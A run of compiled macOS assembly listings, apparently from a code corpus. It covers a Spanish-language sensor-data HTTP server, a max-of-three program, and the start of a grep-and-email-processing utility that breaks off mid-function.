LBB1_62 LBB1_65: leaq L_.str.3(%rip), %rdi leaq L_.str.4(%rip), %rsi callq _fopen movq %rax, -17968(%rbp) LBB1_66: ## =>This Inner Loop Header: Depth=1 leaq -3264(%rbp), %rdi movq -17968(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets cmpq $0, %rax je LBB1_78 ## %bb.67: ## in Loop: Header=BB1_66 Depth=1 leaq -3264(%rbp), %rdi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17976(%rbp) cmpq $0, -17976(%rbp) jne LBB1_69 ## %bb.68: ## in Loop: Header=BB1_66 Depth=1 jmp LBB1_66 LBB1_69: ## in Loop: Header=BB1_66 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17984(%rbp) cmpq $0, -17984(%rbp) jne LBB1_71 ## %bb.70: ## in Loop: Header=BB1_66 Depth=1 jmp LBB1_66 LBB1_71: ## in Loop: Header=BB1_66 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -17992(%rbp) cmpq $0, -17992(%rbp) jne LBB1_73 ## %bb.72: ## in Loop: Header=BB1_66 Depth=1 jmp LBB1_66 LBB1_73: ## in Loop: Header=BB1_66 Depth=1 xorl %eax, %eax movl %eax, %edi leaq L_.str.5(%rip), %rsi callq _strtok movq %rax, -18000(%rbp) cmpq $0, -18000(%rbp) jne LBB1_75 ## %bb.74: ## in Loop: Header=BB1_66 Depth=1 jmp LBB1_66 LBB1_75: ## in Loop: Header=BB1_66 Depth=1 movq -17984(%rbp), %rdi callq _atoi movl %eax, -18004(%rbp) movq -17976(%rbp), %rdi xorl %eax, %eax movl %eax, %esi movl $10, %edx callq _strtoul movq %rax, -18016(%rbp) movq -17992(%rbp), %rdi callq _atoi movl %eax, -18020(%rbp) movq -18000(%rbp), %rdi callq _atoi movl %eax, -18024(%rbp) movq -17952(%rbp), %rax subq -18016(%rbp), %rax movslq -17940(%rbp), %rcx cmpq %rcx, %rax ja LBB1_77 ## %bb.76: ## in Loop: Header=BB1_66 Depth=1 movslq -18004(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movl (%rax), %ecx addl $1, %ecx movl %ecx, (%rax) movslq -18020(%rbp), %rcx movslq -18004(%rbp), %rdx leaq -17728(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax addq 8(%rax), %rcx movq %rcx, 8(%rax) movslq -18024(%rbp), %rcx movslq -18004(%rbp), %rdx leaq -17728(%rbp), %rax imulq $24, %rdx, %rdx addq %rdx, %rax addq 16(%rax), %rcx movq %rcx, 16(%rax) LBB1_77: ## in Loop: Header=BB1_66 Depth=1 jmp LBB1_66 LBB1_78: movq -17968(%rbp), %rdi callq _fclose leaq -5312(%rbp), %rdi xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.23(%rip), %rcx movb $0, %al callq ___sprintf_chk movl $0, -18028(%rbp) LBB1_79: ## =>This Inner Loop Header: Depth=1 cmpl $256, -18028(%rbp) ## imm = 0x100 jge LBB1_84 ## %bb.80: ## in Loop: Header=BB1_79 Depth=1 movslq -18028(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax cmpl $0, (%rax) je LBB1_82 ## %bb.81: ## in Loop: Header=BB1_79 Depth=1 leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 movl -18028(%rbp), %r9d movl -18028(%rbp), %r10d movslq -18028(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax cvtsi2ssq 8(%rax), %xmm0 movslq -18028(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax cvtsi2ssl (%rax), %xmm1 divss %xmm1, %xmm0 movss LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero,zero,zero divss %xmm1, %xmm0 cvtss2sd %xmm0, %xmm0 movslq -18028(%rbp), %rcx leaq -17728(%rbp), %rax imulq $24, %rcx, %rcx addq %rcx, %rax movq 16(%rax), %rax movslq -18028(%rbp), %rdx leaq -17728(%rbp), %rcx imulq $24, %rdx, %rdx addq %rdx, %rcx movslq (%rcx), %rcx cqto idivq %rcx xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.24(%rip), %rcx movl %r10d, (%rsp) movq %rax, 8(%rsp) movb $1, %al callq ___sprintf_chk LBB1_82: ## in Loop: Header=BB1_79 Depth=1 jmp LBB1_83 LBB1_83: ## in Loop: Header=BB1_79 Depth=1 movl -18028(%rbp), %eax addl $1, %eax movl %eax, -18028(%rbp) jmp LBB1_79 LBB1_84: leaq -5312(%rbp), %rdi leaq -5312(%rbp), %r8 xorl %esi, %esi movl $2048, %edx ## imm = 0x800 leaq L_.str.9(%rip), %rcx movb $0, %al callq ___sprintf_chk leaq -3008(%rbp), %rdi movl -17940(%rbp), %eax movl $3600, %ecx ## imm = 0xE10 cltd idivl %ecx movl %eax, %r8d leaq -5312(%rbp), %r9 xorl %esi, %esi movl $3000, %edx ## imm = 0xBB8 leaq L_.str.25(%rip), %rcx movb $0, %al callq ___sprintf_chk movl -17740(%rbp), %eax movl %eax, -18092(%rbp) ## 4-byte Spill leaq -3008(%rbp), %rax movq %rax, -18088(%rbp) ## 8-byte Spill leaq -3008(%rbp), %rdi callq _strlen movl -18092(%rbp), %edi ## 4-byte Reload movq -18088(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx addq $1, %rdx xorl %ecx, %ecx callq _send LBB1_85: jmp LBB1_86 LBB1_86: jmp LBB1_87 LBB1_87: jmp LBB1_88 LBB1_88: cmpq $0, -17752(%rbp) je LBB1_90 ## %bb.89: leaq -3008(%rbp), %rdi leaq L_.str.26(%rip), %rsi movl $3000, %edx ## imm = 0xBB8 callq ___strcpy_chk movl -17740(%rbp), %eax movl %eax, -18108(%rbp) ## 4-byte Spill leaq -3008(%rbp), %rax movq %rax, -18104(%rbp) ## 8-byte Spill leaq -3008(%rbp), %rdi callq _strlen movl -18108(%rbp), %edi ## 4-byte Reload movq -18104(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx addq $1, %rdx xorl %ecx, %ecx callq _send LBB1_90: movq -17752(%rbp), %rdi callq _free movl -17740(%rbp), %edi callq _close movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_92 ## %bb.91: xorl %eax, %eax ## kill: def $rax killed $eax addq $18144, %rsp ## imm = 0x46E0 popq %rbp retq LBB1_92: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .globl _thr_filewrite ## -- Begin function thr_filewrite .p2align 4, 0x90 _thr_filewrite: ## @thr_filewrite .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -8(%rbp) leaq L_.str.27(%rip), %rdi movb $0, %al callq _printf leaq L_.str.28(%rip), %rdi movl $53, %esi callq _ftok movl %eax, -12(%rbp) leaq L_.str.29(%rip), %rdi movb $0, %al callq _printf movl -12(%rbp), %edi movl $3096, %esi ## imm = 0xC18 movl $511, %edx ## imm = 0x1FF callq _shmget movl %eax, -16(%rbp) leaq L_.str.30(%rip), %rdi movb $0, %al callq _printf movl -16(%rbp), %edi xorl %eax, %eax movl %eax, %esi xorl %edx, %edx callq _shmat movq %rax, -24(%rbp) movq -24(%rbp), %rax movq 1528(%rax), %rax movq %rax, -32(%rbp) movq -24(%rbp), %rax movq 3064(%rax), %rax movq %rax, -40(%rbp) LBB2_1: ## =>This Loop Header: Depth=1 ## Child Loop BB2_3 Depth 2 ## Child Loop BB2_9 Depth 2 movq -24(%rbp), %rax movq 1528(%rax), %rax cmpq -32(%rbp), %rax je LBB2_7 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 leaq L_.str.3(%rip), %rdi leaq L_.str.31(%rip), %rsi callq _fopen movq %rax, -48(%rbp) leaq L_.str.32(%rip), %rdi movb $0, %al callq _printf movl $0, -52(%rbp) LBB2_3: ## Parent Loop BB2_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $64, -52(%rbp) jge LBB2_6 ## %bb.4: ## in Loop: Header=BB2_3 Depth=2 movq -48(%rbp), %rdi movq -24(%rbp), %rax movslq -52(%rbp), %rcx imulq $24, %rcx, %rcx addq %rcx, %rax movq 16(%rax), %rdx movq -24(%rbp), %rax movslq -52(%rbp), %rcx imulq $24, %rcx, %rcx addq %rcx, %rax movzbl (%rax), %ecx movq -24(%rbp), %rax movslq -52(%rbp), %rsi imulq $24, %rsi, %rsi addq %rsi, %rax movl 4(%rax), %r8d movq -24(%rbp), %rax movslq -52(%rbp), %rsi imulq $24, %rsi, %rsi addq %rsi, %rax movl 8(%rax), %r9d leaq L_.str.33(%rip), %rsi movb $0, %al callq _fprintf ## %bb.5: ## in Loop: Header=BB2_3 Depth=2 movl -52(%rbp), %eax addl $1, %eax movl %eax, -52(%rbp) jmp LBB2_3 LBB2_6: ## in Loop: Header=BB2_1 Depth=1 movq -48(%rbp), %rdi callq _fclose movq -24(%rbp), %rax movq 1528(%rax), %rax movq %rax, -32(%rbp) jmp LBB2_14 LBB2_7: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rax movq 3064(%rax), %rax cmpq -40(%rbp), %rax je LBB2_13 ## %bb.8: ## in Loop: Header=BB2_1 Depth=1 leaq L_.str.3(%rip), %rdi leaq L_.str.31(%rip), %rsi callq _fopen movq %rax, -64(%rbp) leaq L_.str.34(%rip), %rdi movb $0, %al callq _printf movl $64, -68(%rbp) LBB2_9: ## Parent Loop BB2_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $128, -68(%rbp) jge LBB2_12 ## %bb.10: ## in Loop: Header=BB2_9 Depth=2 movq -64(%rbp), %rdi movq -24(%rbp), %rax movslq -68(%rbp), %rcx imulq $24, %rcx, %rcx addq %rcx, %rax movq 16(%rax), %rdx movq -24(%rbp), %rax movslq -68(%rbp), %rcx imulq $24, %rcx, %rcx addq %rcx, %rax movzbl (%rax), %ecx movq -24(%rbp), %rax movslq -68(%rbp), %rsi imulq $24, %rsi, %rsi addq %rsi, %rax movl 4(%rax), %r8d movq -24(%rbp), %rax movslq -68(%rbp), %rsi imulq $24, %rsi, %rsi addq %rsi, %rax movl 8(%rax), %r9d leaq L_.str.33(%rip), %rsi movb $0, %al callq _fprintf ## %bb.11: ## in Loop: Header=BB2_9 Depth=2 movl -68(%rbp), %eax addl $1, %eax movl %eax, -68(%rbp) jmp LBB2_9 LBB2_12: ## in Loop: Header=BB2_1 Depth=1 movq -64(%rbp), %rdi callq _fclose movq -24(%rbp), %rax movq 3064(%rax), %rax movq %rax, -40(%rbp) LBB2_13: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_14 LBB2_14: ## in Loop: Header=BB2_1 Depth=1 movl $1, %edi callq _sleep jmp LBB2_1 .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl $0, -4(%rbp) movl $2, %edi movl $1, %esi xorl %edx, %edx callq _socket movl %eax, -8(%rbp) movb $2, -23(%rbp) movw $-8185, -22(%rbp) ## imm = 0xE007 movl $0, -20(%rbp) leaq -24(%rbp), %rdi addq $8, %rdi xorl %esi, %esi movl $8, %edx callq _memset movl -8(%rbp), %edi leaq -24(%rbp), %rsi movl $16, %edx callq _bind movl -8(%rbp), %edi movl $10, %esi callq _listen movl $16, -44(%rbp) leaq -56(%rbp), %rdi xorl %eax, %eax movl %eax, %ecx leaq _thr_filewrite(%rip), %rdx movq %rcx, %rsi callq _pthread_create LBB3_1: ## =>This Inner Loop Header: Depth=1 leaq L_.str.35(%rip), %rdi movb $0, %al callq _printf movl -8(%rbp), %edi leaq -40(%rbp), %rsi leaq -44(%rbp), %rdx callq _accept movl %eax, -60(%rbp) movl -4(%rbp), %esi leaq L_.str.36(%rip), %rdi movb $0, %al callq _printf movslq -4(%rbp), %rax movq _threads@GOTPCREL(%rip), %rdi shlq $3, %rax addq %rax, %rdi leaq -60(%rbp), %rcx xorl %eax, %eax movl %eax, %esi leaq _thr_request(%rip), %rdx callq _pthread_create movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) cmpl $10, -4(%rbp) jl LBB3_3 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 movl $0, -4(%rbp) LBB3_3: ## in Loop: Header=BB3_1 Depth=1 jmp LBB3_1 .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz " " L_.str.1: ## @.str.1 .asciz "HTTP/1.1 200 OK\nConnection: Closed\nContent-Type: text/html\n\n" L_.str.2: ## @.str.2 .asciz "/" L_.str.3: ## @.str.3 .asciz "datos.txt" L_.str.4: ## @.str.4 .asciz "r" L_.str.5: ## @.str.5 .asciz "," L_.str.6: ## @.str.6 .asciz "<table border=1 style=width:100%%><tr><th>ID</th><th>Temp</th><th>RH</th><th>Time</th></tr>" L_.str.7: ## @.str.7 .asciz "%Y-%m-%d %H:%M:%S" L_.str.8: ## @.str.8 .asciz "%s<tr><td><a href=\"sensor/%i\">%i</a></td><td>%.1f</td><td>%i</td><td>%s</td></tr>" L_.str.9: ## @.str.9 .asciz "%s</table>" L_.str.10: ## @.str.10 .asciz "<html><head><title>Home</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" L_.str.11: ## @.str.11 .asciz "%s\n" L_.str.12: ## @.str.12 .asciz "sensor" L_.str.13: ## @.str.13 .asciz "<table border=1 style=width:100%%><tr><th>Dato:</th><th>Temp</th><th>RH</th></tr>" L_.str.14: ## @.str.14 .asciz "%s<tr><td>Actual</td><td>%.1f</td><td>%i</td></tr>" L_.str.15: ## @.str.15 .asciz "%s<tr><td>Minima</td><td>%.1f</td><td>%i</td></tr>" L_.str.16: ## @.str.16 .asciz "%s<tr><td>Maxima</td><td>%.1f</td><td>%i</td></tr>" L_.str.17: ## @.str.17 .asciz "%s<tr><td>Ultima Hora</td><td>%.1f</td><td>%lli</td></tr>" L_.str.18: ## @.str.18 .asciz "%s<tr><td>Ultimas 6 Horas</td><td>%.1f</td><td>%lli</td></tr>" L_.str.19: ## @.str.19 .asciz "%s<tr><td>Ultimas 12 Horas</td><td>%.1f</td><td>%lli</td></tr>" L_.str.20: ## @.str.20 .asciz "%s<tr><td>Ultimas 24 Horas</td><td>%.1f</td><td>%lli</td></tr>" L_.str.21: ## @.str.21 .asciz "<html><head><title>Datos Sensor: %i</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" L_.str.22: ## @.str.22 .asciz "prom" L_.str.23: ## @.str.23 .asciz "<table border=1 style=width:100%%><tr><th>ID</th><th>Temp</th><th>RH</th></tr>" L_.str.24: ## @.str.24 .asciz "%s<tr><td><a href=\"/sensor/%i\">%i</a></td><td>%.1f</td><td>%lli</td></tr>" L_.str.25: ## @.str.25 .asciz "<html><head><title>Promedios de %i Horas</title></head><body>%s<div><a href=\"/\">Home</a> <a href=\"/prom\">Prom 1Hora</a> <a href=\"/prom/6\">Prom 6Horas</a> <a href=\"/prom/12\">Prom 12Horas</a> <a href=\"/prom/24\">Prom 24Hora</a></div></body></html>" L_.str.26: ## @.str.26 .asciz "\r\n\r\n" L_.str.27: ## @.str.27 .asciz "Creando Llave\n" L_.str.28: ## @.str.28 .asciz "/bin/bash" L_.str.29: ## @.str.29 .asciz "Creando Identificador...\n" L_.str.30: ## @.str.30 .asciz "Alocando Memoria Compartida...\n" L_.str.31: ## @.str.31 .asciz "a" L_.str.32: ## @.str.32 .asciz "Cambio de Buffer 2\n" L_.str.33: ## @.str.33 .asciz "%lu,%i,%d,%d\n" L_.str.34: ## @.str.34 .asciz "Cambio de Buffer 1\n" L_.str.35: ## @.str.35 .asciz "Servidor esperando conexion\n\n" L_.str.36: ## @.str.36 .asciz "%d New Request...\n" .comm _threads,80,4 ## @threads .subsections_via_symbols
the_stack_data/85229.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _r@GOTPAGE ldr x8, [x8, _r@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill stur wzr, [x29, #-4] adrp x8, _x@PAGE ldr x8, [x8, _x@PAGEOFF] adrp x9, _y@PAGE ldr x9, [x9, _y@PAGEOFF] subs x8, x8, x9 cset w8, le tbnz w8, #0, LBB0_5 b LBB0_1 LBB0_1: adrp x8, _x@PAGE ldr x8, [x8, _x@PAGEOFF] adrp x9, _z@PAGE ldr x9, [x9, _z@PAGEOFF] subs x8, x8, x9 cset w8, le tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _x@PAGE ldr x8, [x8, _x@PAGEOFF] str x8, [x9] b LBB0_4 LBB0_3: ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _z@PAGE ldr x8, [x8, _z@PAGEOFF] str x8, [x9] b LBB0_4 LBB0_4: b LBB0_9 LBB0_5: adrp x8, _y@PAGE ldr x8, [x8, _y@PAGEOFF] adrp x9, _z@PAGE ldr x9, [x9, _z@PAGEOFF] subs x8, x8, x9 cset w8, le tbnz w8, #0, LBB0_7 b LBB0_6 LBB0_6: ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _y@PAGE ldr x8, [x8, _y@PAGEOFF] str x8, [x9] b LBB0_8 LBB0_7: ldr x9, [sp, #16] ; 8-byte Folded Reload adrp x8, _z@PAGE ldr x8, [x8, _z@PAGEOFF] str x8, [x9] b LBB0_8 LBB0_8: b LBB0_9 LBB0_9: ldr x8, [sp, #16] ; 8-byte Folded Reload ldr x8, [x8] mov x9, sp str x8, [x9] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __DATA,__data .globl _x ; @x .p2align 3 _x: .quad 1 ; 0x1 .globl _y ; @y .p2align 3 _y: .quad 2 ; 0x2 .globl _z ; @z .p2align 3 _z: .quad 3 ; 0x3 .comm _r,8,3 ; @r .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movq _x(%rip), %rax cmpq _y(%rip), %rax jle LBB0_5 ## %bb.1: movq _x(%rip), %rax cmpq _z(%rip), %rax jle LBB0_3 ## %bb.2: movq _x(%rip), %rcx movq _r@GOTPCREL(%rip), %rax movq %rcx, (%rax) jmp LBB0_4 LBB0_3: movq _z(%rip), %rcx movq _r@GOTPCREL(%rip), %rax movq %rcx, (%rax) LBB0_4: jmp LBB0_9 LBB0_5: movq _y(%rip), %rax cmpq _z(%rip), %rax jle LBB0_7 ## %bb.6: movq _y(%rip), %rcx movq _r@GOTPCREL(%rip), %rax movq %rcx, (%rax) jmp LBB0_8 LBB0_7: movq _z(%rip), %rcx movq _r@GOTPCREL(%rip), %rax movq %rcx, (%rax) LBB0_8: jmp LBB0_9 LBB0_9: movq _r@GOTPCREL(%rip), %rax movq (%rax), %rsi leaq L_.str(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __DATA,__data .globl _x ## @x .p2align 3 _x: .quad 1 ## 0x1 .globl _y ## @y .p2align 3 _y: .quad 2 ## 0x2 .globl _z ## @z .p2align 3 _z: .quad 3 ## 0x3 .comm _r,8,3 ## @r .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d\n" .subsections_via_symbols
the_stack_data/121101.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #12] ; 4-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] str x1, [sp, #16] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf bl _create_grep_out bl _process_stage2 bl _gen_emails adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _create_grep_out ; -- Begin function create_grep_out .p2align 2 _create_grep_out: ; @create_grep_out .cfi_startproc ; %bb.0: sub sp, sp, #336 .cfi_def_cfa_offset 336 stp x28, x27, [sp, #304] ; 16-byte Folded Spill stp x29, x30, [sp, #320] ; 16-byte Folded Spill add x29, sp, #320 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] mov x9, sp adrp x8, l_.str.3@PAGE add x8, x8, l_.str.3@PAGEOFF str x8, [x9] adrp x8, l_.str.4@PAGE add x8, x8, l_.str.4@PAGEOFF str x8, [x9, #8] add x0, sp, #40 str x0, [sp, #24] ; 8-byte Folded Spill mov w1, #0 mov x2, #256 adrp x3, l_.str.2@PAGE add x3, x3, l_.str.2@PAGEOFF bl ___sprintf_chk ldr x8, [sp, #24] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf ldr x0, [sp, #24] ; 8-byte Folded Reload bl _system str w0, [sp, #36] ldr w8, [sp, #36] str w8, [sp, #32] ; 4-byte Folded Spill ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: bl ___stack_chk_fail LBB1_2: ldr w0, [sp, #32] ; 4-byte Folded Reload ldp x29, x30, [sp, #320] ; 16-byte Folded Reload ldp x28, x27, [sp, #304] ; 16-byte Folded Reload add sp, sp, #336 ret .cfi_endproc ; -- End function .globl _process_stage2 ; -- Begin function process_stage2 .p2align 2 _process_stage2: ; @process_stage2 .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #768 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] mov x9, sp adrp x8, l_.str.4@PAGE add x8, x8, l_.str.4@PAGEOFF str x8, [x9] add x0, sp, #504 str x0, [sp, #64] ; 8-byte Folded Spill mov w1, #0 str w1, [sp, #44] ; 4-byte Folded Spill mov x2, #256 str x2, [sp, #48] ; 8-byte Folded Spill adrp x3, l_.str.6@PAGE add x3, x3, l_.str.6@PAGEOFF str x3, [sp, #56] ; 8-byte Folded Spill bl ___sprintf_chk ldr w1, [sp, #44] ; 4-byte Folded Reload ldr x2, [sp, #48] ; 8-byte Folded Reload ldr x3, [sp, #56] ; 8-byte Folded Reload mov x9, sp adrp x8, l_.str.7@PAGE add x8, x8, l_.str.7@PAGEOFF str x8, [x9] add x0, sp, #248 str x0, [sp, #72] ; 8-byte Folded Spill bl ___sprintf_chk ldr x10, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #72] ; 8-byte Folded Reload mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf ldr x0, [sp, #64] ; 8-byte Folded Reload adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fopen mov x8, x0 ldr x0, [sp, #72] ; 8-byte Folded Reload str x8, [sp, #88] adrp x1, l_.str.10@PAGE add x1, x1, l_.str.10@PAGEOFF bl _fopen str x0, [sp, #80] ldr x8, [sp, #88] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #504 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf mov w8, #-1 str w8, [sp, #116] b LBB2_13 LBB2_2: ldr x8, [sp, #80] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: bl ___error ldr w0, [x0] bl _strerror mov x8, sp add x9, sp, #248 str x9, [x8] str x0, [x8, #8] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf mov w8, #-1 str w8, [sp, #116] b LBB2_13 LBB2_4: str wzr, [sp, #96] b LBB2_5 LBB2_5: ; =>This Inner Loop Header: Depth=1 ldr x2, [sp, #88] add x0, sp, #120 mov w1, #128 bl _fgets subs x8, x0, #0 cset w8, eq tbnz w8, #0, LBB2_12 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_5 Depth=1 ldr x0, [sp, #88] bl _ferror subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_8 b LBB2_7 LBB2_7: ; in Loop: Header=BB2_5 Depth=1 adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _puts b LBB2_11 LBB2_8: ; in Loop: Header=BB2_5 Depth=1 ldr x0, [sp, #88] bl _feof subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB2_10 b LBB2_9 LBB2_9: b LBB2_12 LBB2_10: ; in Loop: Header=BB2_5 Depth=1 b LBB2_11 LBB2_11: ; in Loop: Header=BB2_5 Depth=1 add x0, sp, #120 str x0, [sp, #32] ; 8-byte Folded Spill mov w1, #58 bl _strchr ldr x8, [sp, #32] ; 8-byte Folded Reload str x0, [sp, #104] ldr x9, [sp, #104] strb wzr, [x9] ldr x0, [sp, #80] mov x9, sp str x8, [x9] adrp x1, l_.str.14@PAGE add x1, x1, l_.str.14@PAGEOFF bl _fprintf ldr w8, [sp, #96] add w8, w8, #1 str w8, [sp, #96] b LBB2_5 LBB2_12: ldr x0, [sp, #88] bl _fclose ldr x0, [sp, #80] bl _fflush ldr x0, [sp, #80] bl _fclose ldr w9, [sp, #96] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf str wzr, [sp, #116] b LBB2_13 LBB2_13: ldr w8, [sp, #116] str w8, [sp, #28] ; 4-byte Folded Spill ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB2_15 b LBB2_14 LBB2_14: bl ___stack_chk_fail LBB2_15: ldr w0, [sp, #28] ; 4-byte Folded Reload add sp, sp, #768 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _gen_emails ; -- Begin function gen_emails .p2align 2 _gen_emails: ; @gen_emails .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #1040 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] mov x9, sp adrp x8, l_.str.7@PAGE add x8, x8, l_.str.7@PAGEOFF str x8, [x9] add x0, sp, #776 str x0, [sp, #64] ; 8-byte Folded Spill mov w1, #0 mov x2, #256 str x2, [sp, #56] ; 8-byte Folded Spill adrp x3, l_.str.6@PAGE add x3, x3, l_.str.6@PAGEOFF bl ___sprintf_chk ldr x2, [sp, #56] ; 